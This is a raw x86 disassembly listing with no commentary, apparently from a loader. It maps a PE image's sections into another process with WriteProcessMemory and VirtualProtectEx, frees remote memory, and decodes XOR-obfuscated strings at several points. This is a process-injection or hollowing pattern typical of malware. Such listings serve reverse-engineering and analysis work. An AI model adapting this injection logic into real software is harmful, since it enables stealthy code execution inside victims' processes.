test eax, eax
jne 0x4054b0
xor edx, edx
mov byte [ebp - 0x2f8], dl
xor eax, eax
mov byte [ebp - 0x2f9], al
mov cl, byte [ebp - 0x2f8]
mov byte [ebp - 0x390], cl
mov dl, byte [ebp - 0x2f9]
mov byte [ebp - 0x39c], dl
mov eax, 0xb39de527
mov dword [ebp - 0x818], 0xb817840
mov dword [ebp - 0x814], eax
mov ecx, dword [ebp - 0x818]
mov edx, dword [ebp - 0x814]
mov dword [ebp - 0x820], ecx
mov dword [ebp - 0x81c], edx
mov eax, dword [ebp - 0x820]
mov ecx, dword [ebp - 0x81c]
mov dword [ebp - 0xaa0], eax
mov dword [ebp - 0xa9c], ecx
mov edx, 0xd2fa45b8
mov dword [ebp - 0x828], 0x1bede697
mov dword [ebp - 0x824], edx
mov eax, dword [ebp - 0x828]
mov ecx, dword [ebp - 0x824]
mov dword [ebp - 0x830], eax
mov dword [ebp - 0x82c], ecx
mov edx, dword [ebp - 0x830]
mov eax, dword [ebp - 0x82c]
mov dword [ebp - 0xa98], edx
mov dword [ebp - 0xa94], eax
lea ecx, [ebp - 0xaa0]
mov dword [ebp - 0x45c], ecx
mov edx, dword [ebp - 0x45c]
mov dword [ebp - 0x318], edx
mov eax, 0x82bec575
mov dword [ebp - 0x838], 0x44d32a05
mov dword [ebp - 0x834], eax
mov ecx, dword [ebp - 0x838]
mov edx, dword [ebp - 0x834]
mov dword [ebp - 0x840], ecx
mov dword [ebp - 0x83c], edx
mov eax, dword [ebp - 0x840]
mov ecx, dword [ebp - 0x83c]
mov dword [ebp - 0x180], eax
mov dword [ebp - 0x17c], ecx
mov edx, 0xd2fa45b8
mov dword [ebp - 0x848], 0x1bede6a2
mov dword [ebp - 0x844], edx
mov eax, dword [ebp - 0x848]
mov ecx, dword [ebp - 0x844]
mov dword [ebp - 0x850], eax
mov dword [ebp - 0x84c], ecx
mov edx, dword [ebp - 0x850]
mov eax, dword [ebp - 0x84c]
mov dword [ebp - 0x178], edx
mov dword [ebp - 0x174], eax
xor ecx, ecx
je 0x4053d4
jmp 0x405417
movaps xmm0, xmmword [ebp - 0x180]
movaps xmmword [ebp - 0xef0], xmm0
mov edx, dword [ebp - 0x318]
movups xmm0, xmmword [edx]
movaps xmmword [ebp - 0xee0], xmm0
movaps xmm0, xmmword [ebp - 0xee0]
xorps xmm0, xmmword [ebp - 0xef0]
movaps xmmword [ebp - 0xf00], xmm0
movaps xmm0, xmmword [ebp - 0xf00]
mov eax, dword [ebp - 0x318]
movups xmmword [eax], xmm0
mov ecx, 1
test ecx, ecx
je 0x405422
jmp 0x405469
movaps xmm0, xmmword [ebp - 0x170]
movaps xmmword [ebp - 0xf20], xmm0
mov edx, dword [ebp - 0x318]
movups xmm0, xmmword [edx + 0x10]
movaps xmmword [ebp - 0xf10], xmm0
movaps xmm0, xmmword [ebp - 0xf10]
xorps xmm0, xmmword [ebp - 0xf20]
movaps xmmword [ebp - 0xf30], xmm0
movaps xmm0, xmmword [ebp - 0xf30]
mov eax, dword [ebp - 0x318]
add eax, 0x10
movups xmmword [eax], xmm0
mov ecx, dword [ebp - 0x318]
mov dword [ebp - 0x460], ecx
mov edx, dword [ebp - 0x460]
push edx
lea ecx, [ebp - 0x1348]
call fcn.0040c070
mov dword [ebp - 4], 0xe
lea eax, [ebp - 0x1348]
push eax
call fcn.00402960
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1348]
call fcn.0040ce00
nop
movzx ecx, byte [ebx + 0x18]
test ecx, ecx
je 0x4059a0
mov edx, dword [ebp - 0x2d4]
movzx eax, word [edx + 0x14]
mov ecx, dword [ebp - 0x2d4]
lea edx, [ecx + eax + 0x18]
mov dword [ebp - 0x2cc], edx
mov dword [ebp - 0x3b8], 0
jmp 0x405500
mov eax, dword [ebp - 0x3b8]
add eax, 1
mov dword [ebp - 0x3b8], eax
mov ecx, dword [ebp - 0x2cc]
add ecx, 0x28
mov dword [ebp - 0x2cc], ecx
mov edx, dword [ebp - 0x320]
movzx eax, word [edx + 2]
cmp dword [ebp - 0x3b8], eax
je 0x4059a0
mov ecx, dword [ebp - 0x2cc]
cmp dword [ecx + 8], 0
je 0x40599b
movzx edx, byte [ebx + 0x20]
test edx, edx
je 0x40553d
mov dword [ebp - 0x434], 0
jmp 0x4055f3
mov dword [ebp - 0x36c], str..pdata
mov eax, dword [ebp - 0x2cc]
mov dword [ebp - 0x368], eax
mov ecx, dword [ebp - 0x368]
mov dl, byte [ecx]
mov byte [ebp - 0x2fa], dl
mov eax, dword [ebp - 0x36c]
cmp dl, byte [eax]
jne 0x4055b1
cmp byte [ebp - 0x2fa], 0
je 0x4055a5
mov ecx, dword [ebp - 0x368]
mov dl, byte [ecx + 1]
mov byte [ebp - 0x2fb], dl
mov eax, dword [ebp - 0x36c]
cmp dl, byte [eax + 1]
jne 0x4055b1
add dword [ebp - 0x368], 2
add dword [ebp - 0x36c], 2
cmp byte [ebp - 0x2fb], 0
jne 0x405553
mov dword [ebp - 0x42c], 0
jmp 0x4055bc
sbb ecx, ecx
or ecx, 1
mov dword [ebp - 0x42c], ecx
mov edx, dword [ebp - 0x42c]
mov dword [ebp - 0x464], edx
cmp dword [ebp - 0x464], 0
jne 0x4055dd
mov dword [ebp - 0x430], 1
jmp 0x4055e7
mov dword [ebp - 0x430], 0
mov eax, dword [ebp - 0x430]
mov dword [ebp - 0x434], eax
cmp dword [ebp - 0x434], 0
jne 0x405730
mov dword [ebp - 0x360], str..rsrc
mov ecx, dword [ebp - 0x2cc]
mov dword [ebp - 0x370], ecx
mov edx, dword [ebp - 0x370]
mov al, byte [edx]
mov byte [ebp - 0x2fc], al
mov ecx, dword [ebp - 0x360]
cmp al, byte [ecx]
jne 0x405674
cmp byte [ebp - 0x2fc], 0
je 0x405668
mov edx, dword [ebp - 0x370]
mov al, byte [edx + 1]
mov byte [ebp - 0x2fd], al
mov ecx, dword [ebp - 0x360]
cmp al, byte [ecx + 1]
jne 0x405674
add dword [ebp - 0x370], 2
add dword [ebp - 0x360], 2
cmp byte [ebp - 0x2fd], 0
jne 0x405616
mov dword [ebp - 0x438], 0
jmp 0x40567f
sbb edx, edx
or edx, 1
mov dword [ebp - 0x438], edx
mov eax, dword [ebp - 0x438]
mov dword [ebp - 0x468], eax
cmp dword [ebp - 0x468], 0
je 0x405730
mov dword [ebp - 0x378], str..reloc
mov ecx, dword [ebp - 0x2cc]
mov dword [ebp - 0x374], ecx
mov edx, dword [ebp - 0x374]
mov al, byte [edx]
mov byte [ebp - 0x2fe], al
mov ecx, dword [ebp - 0x378]
cmp al, byte [ecx]
jne 0x40570c
cmp byte [ebp - 0x2fe], 0
je 0x405700
mov edx, dword [ebp - 0x374]
mov al, byte [edx + 1]
mov byte [ebp - 0x2ff], al
mov ecx, dword [ebp - 0x378]
cmp al, byte [ecx + 1]
jne 0x40570c
add dword [ebp - 0x374], 2
add dword [ebp - 0x378], 2
cmp byte [ebp - 0x2ff], 0
jne 0x4056ae
mov dword [ebp - 0x43c], 0
jmp 0x405717
sbb edx, edx
or edx, 1
mov dword [ebp - 0x43c], edx
mov eax, dword [ebp - 0x43c]
mov dword [ebp - 0x46c], eax
cmp dword [ebp - 0x46c], 0
jne 0x40599b
push 0
mov ecx, dword [ebp - 0x2cc]
mov edx, dword [ecx + 8]
push edx
mov eax, dword [ebp - 0x324]
push eax
mov ecx, dword [ebp - 0x2cc]
mov edx, dword [ebp - 0x2d0]
add edx, dword [ecx + 0xc]
push edx
mov eax, dword [ebx + 8]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x40599b
xor ecx, ecx
mov byte [ebp - 0x300], cl
xor edx, edx
mov byte [ebp - 0x301], dl
mov al, byte [ebp - 0x300]
mov byte [ebp - 0x38c], al
mov cl, byte [ebp - 0x301]
mov byte [ebp - 0x3a0], cl
mov edx, 0xb39de527
mov dword [ebp - 0x858], 0xb817840
mov dword [ebp - 0x854], edx
mov eax, dword [ebp - 0x858]
mov ecx, dword [ebp - 0x854]
mov dword [ebp - 0x860], eax
mov dword [ebp - 0x85c], ecx
mov edx, dword [ebp - 0x860]
mov eax, dword [ebp - 0x85c]
mov dword [ebp - 0xab0], edx
mov dword [ebp - 0xaac], eax
mov ecx, 0xd2fa45b8
mov dword [ebp - 0x868], 0x1bede694
mov dword [ebp - 0x864], ecx
mov edx, dword [ebp - 0x868]
mov eax, dword [ebp - 0x864]
mov dword [ebp - 0x870], edx
mov dword [ebp - 0x86c], eax
mov ecx, dword [ebp - 0x870]
mov edx, dword [ebp - 0x86c]
mov dword [ebp - 0xaa8], ecx
mov dword [ebp - 0xaa4], edx
lea eax, [ebp - 0xab0]
mov dword [ebp - 0x470], eax
mov ecx, dword [ebp - 0x470]
mov dword [ebp - 0x31c], ecx
mov edx, 0x82bec575
mov dword [ebp - 0x878], 0x44d32a05
mov dword [ebp - 0x874], edx
mov eax, dword [ebp - 0x878]
mov ecx, dword [ebp - 0x874]
mov dword [ebp - 0x880], eax
mov dword [ebp - 0x87c], ecx
mov edx, dword [ebp - 0x880]
mov eax, dword [ebp - 0x87c]
mov dword [ebp - 0x160], edx
mov dword [ebp - 0x15c], eax
mov ecx, 0xd2fa45b8
mov dword [ebp - 0x888], 0x1bede6a2
mov dword [ebp - 0x884], ecx
mov edx, dword [ebp - 0x888]
mov eax, dword [ebp - 0x884]
mov dword [ebp - 0x890], edx
mov dword [ebp - 0x88c], eax
mov ecx, dword [ebp - 0x890]
mov edx, dword [ebp - 0x88c]
mov dword [ebp - 0x158], ecx
mov dword [ebp - 0x154], edx
xor eax, eax
je 0x4058bf
jmp 0x405902
movaps xmm0, xmmword [ebp - 0x160]
movaps xmmword [ebp - 0x13d0], xmm0
mov ecx, dword [ebp - 0x31c]
movups xmm0, xmmword [ecx]
movaps xmmword [ebp - 0xf40], xmm0
movaps xmm0, xmmword [ebp - 0xf40]
xorps xmm0, xmmword [ebp - 0x13d0]
movaps xmmword [ebp - 0xf60], xmm0
movaps xmm0, xmmword [ebp - 0xf60]
mov edx, dword [ebp - 0x31c]
movups xmmword [edx], xmm0
mov eax, 1
test eax, eax
je 0x40590d
jmp 0x405954
movaps xmm0, xmmword [ebp - 0x150]
movaps xmmword [ebp - 0xf80], xmm0
mov ecx, dword [ebp - 0x31c]
movups xmm0, xmmword [ecx + 0x10]
movaps xmmword [ebp - 0xf70], xmm0
movaps xmm0, xmmword [ebp - 0xf70]
xorps xmm0, xmmword [ebp - 0xf80]
movaps xmmword [ebp - 0xf90], xmm0
movaps xmm0, xmmword [ebp - 0xf90]
mov edx, dword [ebp - 0x31c]
add edx, 0x10
movups xmmword [edx], xmm0
mov eax, dword [ebp - 0x31c]
mov dword [ebp - 0x474], eax
mov ecx, dword [ebp - 0x474]
push ecx
lea ecx, [ebp - 0x1360]
call fcn.0040c070
mov dword [ebp - 4], 0xf
lea edx, [ebp - 0x1360]
push edx
call fcn.00402960
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1360]
call fcn.0040ce00
nop
jmp 0x4054e2
movzx eax, byte [ebx + 0x1c]
test eax, eax
je 0x405acf
mov ecx, dword [ebp - 0x2d4]
movzx edx, word [ecx + 0x14]
mov eax, dword [ebp - 0x2d4]
lea ecx, [eax + edx + 0x18]
mov dword [ebp - 0x2cc], ecx
mov dword [ebp - 0x3bc], 0
jmp 0x4059f0
mov edx, dword [ebp - 0x3bc]
add edx, 1
mov dword [ebp - 0x3bc], edx
mov eax, dword [ebp - 0x2cc]
add eax, 0x28
mov dword [ebp - 0x2cc], eax
mov ecx, dword [ebp - 0x320]
movzx edx, word [ecx + 2]
cmp dword [ebp - 0x3bc], edx
je 0x405a95
mov eax, dword [ebp - 0x2cc]
cmp dword [eax + 8], 0
je 0x405a90
mov dword [ebp - 0x288], 0
mov dword [ebp - 0x3c0], 2
mov ecx, dword [ebp - 0x2cc]
mov edx, dword [ecx + 0x24]
and edx, 0x80000000
jbe 0x405a43
mov dword [ebp - 0x3c0], 4
jmp 0x405a5e
mov eax, dword [ebp - 0x2cc]
mov ecx, dword [eax + 0x24]
and ecx, 0x20000000
jbe 0x405a5e
mov dword [ebp - 0x3c0], 0x20
lea edx, [ebp - 0x288]
push edx
mov eax, dword [ebp - 0x3c0]
push eax
mov ecx, dword [ebp - 0x2cc]
mov edx, dword [ecx + 8]
push edx
mov eax, dword [ebp - 0x2cc]
mov ecx, dword [ebp - 0x2d0]
add ecx, dword [eax + 0xc]
push ecx
mov edx, dword [ebx + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
jmp 0x4059d2
mov dword [ebp - 0x28c], 0
lea eax, [ebp - 0x28c]
push eax
push 2
mov ecx, dword [ebp - 0x2d4]
movzx edx, word [ecx + 0x14]
mov eax, dword [ebp - 0x2d4]
mov ecx, dword [eax + edx + 0x24]
push ecx
mov edx, dword [ebp - 0x2d0]
push edx
mov eax, dword [ebx + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
nop
push 0
push 0x1000
mov ecx, dword [ebp - 0x324]
push ecx
mov edx, dword [ebp - 0x2dc]
push edx
mov eax, dword [ebx + 8]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x405d2c
xor ecx, ecx
mov byte [ebp - 0x302], cl
xor edx, edx
mov byte [ebp - 0x303], dl
mov al, byte [ebp - 0x302]
mov byte [ebp - 0x3dc], al
mov cl, byte [ebp - 0x303]
mov byte [ebp - 0x3f4], cl
mov edx, 0xb39de527
mov dword [ebp - 0x898], 0xb817840
mov dword [ebp - 0x894], edx
mov eax, dword [ebp - 0x898]
mov ecx, dword [ebp - 0x894]
mov dword [ebp - 0x8a0], eax
mov dword [ebp - 0x89c], ecx
mov edx, dword [ebp - 0x8a0]
mov eax, dword [ebp - 0x89c]
mov dword [ebp - 0xac0], edx
mov dword [ebp - 0xabc], eax
mov ecx, 0xd2fa45b8
mov dword [ebp - 0x8a8], 0x1bede695
mov dword [ebp - 0x8a4], ecx
mov edx, dword [ebp - 0x8a8]
mov eax, dword [ebp - 0x8a4]
mov dword [ebp - 0x8b0], edx
mov dword [ebp - 0x8ac], eax
mov ecx, dword [ebp - 0x8b0]
mov edx, dword [ebp - 0x8ac]
mov dword [ebp - 0xab8], ecx
mov dword [ebp - 0xab4], edx
lea eax, [ebp - 0xac0]
mov dword [ebp - 0x478], eax
mov ecx, dword [ebp - 0x478]
mov dword [ebp - 0x328], ecx
mov edx, 0x82bec575
mov dword [ebp - 0x8b8], 0x44d32a05
mov dword [ebp - 0x8b4], edx
mov eax, dword [ebp - 0x8b8]
mov ecx, dword [ebp - 0x8b4]
mov dword [ebp - 0x8c0], eax
mov dword [ebp - 0x8bc], ecx
mov edx, dword [ebp - 0x8c0]
mov eax, dword [ebp - 0x8bc]
mov dword [ebp - 0x140], edx
mov dword [ebp - 0x13c], eax
mov ecx, 0xd2fa45b8
mov dword [ebp - 0x8c8], 0x1bede6a2
mov dword [ebp - 0x8c4], ecx
mov edx, dword [ebp - 0x8c8]
mov eax, dword [ebp - 0x8c4]
mov dword [ebp - 0x8d0], edx
mov dword [ebp - 0x8cc], eax
mov ecx, dword [ebp - 0x8d0]
mov edx, dword [ebp - 0x8cc]
mov dword [ebp - 0x138], ecx
mov dword [ebp - 0x134], edx
xor eax, eax
je 0x405c50
jmp 0x405c93
movaps xmm0, xmmword [ebp - 0x140]
movaps xmmword [ebp - 0xfb0], xmm0
mov ecx, dword [ebp - 0x328]
movups xmm0, xmmword [ecx]
movaps xmmword [ebp - 0xfa0], xmm0
movaps xmm0, xmmword [ebp - 0xfa0]
xorps xmm0, xmmword [ebp - 0xfb0]
movaps xmmword [ebp - 0xfc0], xmm0
movaps xmm0, xmmword [ebp - 0xfc0]
mov edx, dword [ebp - 0x328]
movups xmmword [edx], xmm0
mov eax, 1
test eax, eax
je 0x405c9e
jmp 0x405ce5
movaps xmm0, xmmword [ebp - 0x130]
movaps xmmword [ebp - 0xfe0], xmm0
mov ecx, dword [ebp - 0x328]
movups xmm0, xmmword [ecx + 0x10]
movaps xmmword [ebp - 0xfd0], xmm0
movaps xmm0, xmmword [ebp - 0xfd0]
xorps xmm0, xmmword [ebp - 0xfe0]
movaps xmmword [ebp - 0xff0], xmm0
movaps xmm0, xmmword [ebp - 0xff0]
mov edx, dword [ebp - 0x328]
add edx, 0x10
movups xmmword [edx], xmm0
mov eax, dword [ebp - 0x328]
mov dword [ebp - 0x47c], eax
mov ecx, dword [ebp - 0x47c]
push ecx
lea ecx, [ebp - 0x1378]
call fcn.0040c070
mov dword [ebp - 4], 0x10
lea edx, [ebp - 0x1378]
push edx
call fcn.00402960
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1378]
call fcn.0040ce00
nop
push 0x8000
push 0
mov eax, dword [ebp - 0x2dc]
push eax
mov ecx, dword [ebx + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
test eax, eax
jne 0x405f82
xor edx, edx
mov byte [ebp - 0x304], dl
xor eax, eax
mov byte [ebp - 0x305], al
mov cl, byte [ebp - 0x304]
mov byte [ebp - 0x37c], cl
mov dl, byte [ebp - 0x305]
mov byte [ebp - 0x380], dl
mov eax, 0xb39de527
mov dword [ebp - 0x8d8], 0xb817840
mov dword [ebp - 0x8d4], eax
mov ecx, dword [ebp - 0x8d8]
mov edx, dword [ebp - 0x8d4]
mov dword [ebp - 0x8e0], ecx
mov dword [ebp - 0x8dc], edx
mov eax, dword [ebp - 0x8e0]
mov ecx, dword [ebp - 0x8dc]
mov dword [ebp - 0xad0], eax
mov dword [ebp - 0xacc], ecx
mov edx, 0xd2fa45b8
mov dword [ebp - 0x8e8], 0x1bede69a
mov dword [ebp - 0x8e4], edx
mov eax, dword [ebp - 0x8e8]
mov ecx, dword [ebp - 0x8e4]
mov dword [ebp - 0x8f0], eax
mov dword [ebp - 0x8ec], ecx
mov edx, dword [ebp - 0x8f0]
mov eax, dword [ebp - 0x8ec]
mov dword [ebp - 0xac8], edx
mov dword [ebp - 0xac4], eax
lea ecx, [ebp - 0xad0]
mov dword [ebp - 0x480], ecx
mov edx, dword [ebp - 0x480]
mov dword [ebp - 0x32c], edx
mov eax, 0x82bec575
mov dword [ebp - 0x8f8], 0x44d32a05
mov dword [ebp - 0x8f4], eax
mov ecx, dword [ebp - 0x8f8]
mov edx, dword [ebp - 0x8f4]
mov dword [ebp - 0x900], ecx
mov dword [ebp - 0x8fc], edx
mov eax, dword [ebp - 0x900]
mov ecx, dword [ebp - 0x8fc]
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x11c], ecx
mov edx, 0xd2fa45b8
mov dword [ebp - 0x908], 0x1bede6a2
mov dword [ebp - 0x904], edx
mov eax, dword [ebp - 0x908]
mov ecx, dword [ebp - 0x904]
mov dword [ebp - 0x910], eax
mov dword [ebp - 0x90c], ecx
mov edx, dword [ebp - 0x910]
mov eax, dword [ebp - 0x90c]
mov dword [ebp - 0x118], edx
mov dword [ebp - 0x114], eax
xor ecx, ecx
je 0x405ea6
jmp 0x405ee9
movaps xmm0, xmmword [ebp - 0x120]
movaps xmmword [ebp - 0x1010], xmm0
mov edx, dword [ebp - 0x32c]
movups xmm0, xmmword [edx]
movaps xmmword [ebp - 0x1000], xmm0
movaps xmm0, xmmword [ebp - 0x1000]
xorps xmm0, xmmword [ebp - 0x1010]
movaps xmmword [ebp - 0x1020], xmm0
movaps xmm0, xmmword [ebp - 0x1020]
mov eax, dword [ebp - 0x32c]
movups xmmword [eax], xmm0
mov ecx, 1
test ecx, ecx
je 0x405ef4
jmp 0x405f3b
movaps xmm0, xmmword [ebp - 0x110]
movaps xmmword [ebp - 0x1040], xmm0
mov edx, dword [ebp - 0x32c]
movups xmm0, xmmword [edx + 0x10]
movaps xmmword [ebp - 0x1030], xmm0
movaps xmm0, xmmword [ebp - 0x1030]
xorps xmm0, xmmword [ebp - 0x1040]
movaps xmmword [ebp - 0x1050], xmm0
movaps xmm0, xmmword [ebp - 0x1050]
mov eax, dword [ebp - 0x32c]
add eax, 0x10
movups xmmword [eax], xmm0
mov ecx, dword [ebp - 0x32c]
mov dword [ebp - 0x484], ecx
mov edx, dword [ebp - 0x484]
push edx
lea ecx, [ebp - 0x1390]
call fcn.0040c070
mov dword [ebp - 4], 0x11
lea eax, [ebp - 0x1390]
push eax
call fcn.00402960
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1390]
call fcn.0040ce00
nop
push 0x8000
push 0
mov ecx, dword [ebp - 0x2d8]
push ecx
mov edx, dword [ebx + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
test eax, eax
jne 0x4061d8
xor eax, eax
mov byte [ebp - 0x306], al
xor ecx, ecx
mov byte [ebp - 0x307], cl
mov dl, byte [ebp - 0x306]
mov byte [ebp - 0x384], dl
mov al, byte [ebp - 0x307]
mov byte [ebp - 0x388], al
mov ecx, 0xb39de527
mov dword [ebp - 0x918], 0xb817840
mov dword [ebp - 0x914], ecx
mov edx, dword [ebp - 0x918]
mov eax, dword [ebp - 0x914]
mov dword [ebp - 0x920], edx
mov dword [ebp - 0x91c], eax
mov ecx, dword [ebp - 0x920]
mov edx, dword [ebp - 0x91c]
mov dword [ebp - 0xae0], ecx
mov dword [ebp - 0xadc], edx
mov eax, 0xd2fa45b8
mov dword [ebp - 0x928], 0x1bede69b
mov dword [ebp - 0x924], eax
mov ecx, dword [ebp - 0x928]
mov edx, dword [ebp - 0x924]
mov dword [ebp - 0x930], ecx
mov dword [ebp - 0x92c], edx
mov eax, dword [ebp - 0x930]
mov ecx, dword [ebp - 0x92c]
mov dword [ebp - 0xad8], eax
mov dword [ebp - 0xad4], ecx
lea edx, [ebp - 0xae0]
mov dword [ebp - 0x488], edx
mov eax, dword [ebp - 0x488]
mov dword [ebp - 0x330], eax
mov ecx, 0x82bec575
mov dword [ebp - 0x938], 0x44d32a05
mov dword [ebp - 0x934], ecx
mov edx, dword [ebp - 0x938]
mov eax, dword [ebp - 0x934]
mov dword [ebp - 0x940], edx
mov dword [ebp - 0x93c], eax
mov ecx, dword [ebp - 0x940]
mov edx, dword [ebp - 0x93c]
mov dword [ebp - 0x100], ecx
mov dword [ebp - 0xfc], edx
mov eax, 0xd2fa45b8
mov dword [ebp - 0x948], 0x1bede6a2
mov dword [ebp - 0x944], eax
mov ecx, dword [ebp - 0x948]
mov edx, dword [ebp - 0x944]
mov dword [ebp - 0x950], ecx
mov dword [ebp - 0x94c], edx
mov eax, dword [ebp - 0x950]
mov ecx, dword [ebp - 0x94c]
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0xf4], ecx
xor edx, edx
je 0x4060fc
jmp 0x40613f
movaps xmm0, xmmword [ebp - 0x100]
movaps xmmword [ebp - 0x1070], xmm0
mov eax, dword [ebp - 0x330]
movups xmm0, xmmword [eax]
movaps xmmword [ebp - 0x1060], xmm0
movaps xmm0, xmmword [ebp - 0x1060]
xorps xmm0, xmmword [ebp - 0x1070]
movaps xmmword [ebp - 0x1080], xmm0
movaps xmm0, xmmword [ebp - 0x1080]
mov ecx, dword [ebp - 0x330]
movups xmmword [ecx], xmm0
mov edx, 1
test edx, edx
je 0x40614a
jmp 0x406191
movaps xmm0, xmmword [ebp - 0xf0]
movaps xmmword [ebp - 0x10a0], xmm0
mov eax, dword [ebp - 0x330]
movups xmm0, xmmword [eax + 0x10]
movaps xmmword [ebp - 0x1090], xmm0
movaps xmm0, xmmword [ebp - 0x1090]
xorps xmm0, xmmword [ebp - 0x10a0]
movaps xmmword [ebp - 0x10b0], xmm0
movaps xmm0, xmmword [ebp - 0x10b0]
mov ecx, dword [ebp - 0x330]
add ecx, 0x10
movups xmmword [ecx], xmm0
mov edx, dword [ebp - 0x330]
mov dword [ebp - 0x48c], edx
mov eax, dword [ebp - 0x48c]
push eax
lea ecx, [ebp - 0x13a8]
call fcn.0040c070
mov dword [ebp - 4], 0x12
lea ecx, [ebp - 0x13a8]
push ecx
call fcn.00402960
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x13a8]
call fcn.0040ce00
nop
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00412437
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret